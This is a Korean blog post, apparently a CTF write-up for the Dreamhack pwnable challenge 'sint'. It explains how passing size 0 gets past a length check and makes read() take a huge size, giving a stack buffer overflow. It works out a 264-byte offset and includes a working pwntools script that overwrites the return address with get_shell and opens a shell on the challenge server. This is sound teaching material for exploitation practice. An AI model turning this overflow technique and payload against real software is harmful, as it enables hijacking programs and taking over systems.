안 쓰던 블로그

sint (bof) 문제 풀이 본문

CTF/Pwnable

sint (bof) 문제 풀이

proqk 2021. 3. 20. 00:30
반응형

size를 입력 받은 다음 데이터를 입력 받는 문제

 

소스코드를 보면, get_shell함수가 보이고

main에 buf, size 등이 있다

 

메모리에는 다음과 같이 들어갈 것이다

 

생략
....
size
buf
main's sfp
main's ret

 

전형적인 bof문제같이 보이는데, 한 가지 문제가 있다면 if문에서 너무 큰 사이즈를 넘겨버린다는 점이다

그냥 무작정 256를 넘는 범위를 보내면 if문에서 걸러진다

그러면 어떻게 size를 주어야 if문에 안 걸리고 256이 넘는 데이터를 보낼 수 있을까?

 

드림핵에 이 강의(dreamhack.io/learn/2/12#11)를 참고하라고 하면서 힌트를 준다

int범위는 -2^31 ~ 2^31-1 의 범위를 갖는다

또한 int같은 변수들은 최대 범위를 넘어가면 다시 돌아가는 특성이 있다

즉, int의 최대값인 2^31-1보다 더 큰 값이 왔다고 하면, 예를 들어 2^31 값이 오면 이 값은 -2^31이 된다

그런데 컴퓨터에서는 음수 크기를 2의 보수법으로 처리한다

 

2^31

1000 0000 0000 0000 0000 0000 0000 0000

 

1의 보수(NOT)

0111 1111 1111 1111 1111 1111 1111 1111

 

2의 보수(1의 보수+1)

1000 0000 0000 0000 0000 0000 0000 0000

 

이 성질을 이용하면 if문을 넘길 수 있다

어떻게 하냐면, size값으로 0을 주면 조건문에 걸리지 않기 때문에 자연스럽게 넘어간다

그런데 read문에서 매개변수로 들어갈 때는 -1이 되면서 2^31 사이즈가 되어 버린다

2^31은 buf의 256 사이즈를 훨씬 넘기 때문에 bof를 할 수 있다

 

---

다시 메모리로 돌아와서, 이제 buf에서 얼마나 더미값을 덮어야 ret까지 가는지를 구해야 한다

 

gdb로 main을 디스어셈블하면, 맨 처음에 initialize 함수를 호출하기 전에 sub로 0x104만큼 공간을 확보하는 부분이 있다. 이것이 buf의 범위이다

0x104(HEX)  = 260(DEC)이고, ret이전에 sfp(4바이트)가 있으므로 260+4만큼 가면 ret에 도착한다

그럼 ret에다가 get_shell의 주소를 넣어주기만 하면 된다

 

from pwn import *

#p = process("./sint")
p = remote("host1.dreamhack.games", 8872)
elf = ELF("./sint")
get_shell = elf.symbols["get_shell"]

pay="A"*264
pay+=p32(get_shell)

p.recvuntil("Size: ")
p.sendline("0")
p.recvuntil("Data: ")
p.sendline(pay)

p.interactive()

 

코드를 실행시키고 flagcat으로 출력하면 플래그를 얻을 수 있다

 

 

반응형

'CTF > Pwnable' 카테고리의 다른 글

pop rdi  (0) 2020.12.30
64bit ROP  (0) 2020.12.09
64it ROP  (0) 2020.11.28
32bit ROP  (0) 2020.11.10
32bit와 64bit - x86과 x64 비교  (0) 2020.10.13
Comments